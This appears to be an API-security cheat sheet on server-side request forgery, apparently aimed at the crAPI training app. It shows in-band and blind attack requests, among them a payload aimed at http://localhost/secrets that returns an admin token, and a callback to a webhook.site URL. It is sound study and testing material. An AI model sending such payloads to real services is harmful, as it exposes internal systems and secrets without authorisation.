SSRF

In Band

The server responds with the resources specified by the end user. If the attacker specifies the payload as http://google.com to a server, the latter would make the request and respond to the attacker with information served from google.com.

# Intercepted request
POST api/v1/store/products
headers…
{"inventory":"http://store.com/api/v3/inventory/item/12345"}

# Attack
POST api/v1/store/products
headers…
{"inventory":"§http://localhost/secrets§"}
 
# Response
HTTP/1.1 200 OK
headers...
{"secret_token":"crapi-admin"}

Blind

Same as In Band but does not send a response back. For this type of SSRF we need to have some control over the web server that is specified in the attack.

# Intercepted request
POST api/v1/store/products
headers…
{"inventory":"http://store.com/api/v3/inventory/item/12345"}

# Attack
POST api/v1/store/products
headers…
{"inventory:"§http://localhost/secrets§"} 

# Response
HTTP/1.1 200 OK
headers...
{}

We can use Burp's Collaborator or free alternatives, such as:

• http://webhook.site

• http://pingb.in/

• https://requestbin.com/

• https://canarytokens.org/

# Attack
POST api/v1/store/products
headers…
{"inventory":"§https://webhook.site/306b30f8-2c9e-4e5d-934d-48426d03f5c0§"}

When targeting an API for SSRF vulnerabilities, you will want to look for requests that have any of the following:

• Include full URLs in the POST body or parameters

• Include URL paths (or partial URLs) in the POST body or parameters

• Headers that include URLs like Referer

• Allows for user input that may result in a server retrieving resources

PayloadsAllTheThings/Server Side Request Forgery at master · swisskyrepo/PayloadsAllTheThingsGitHub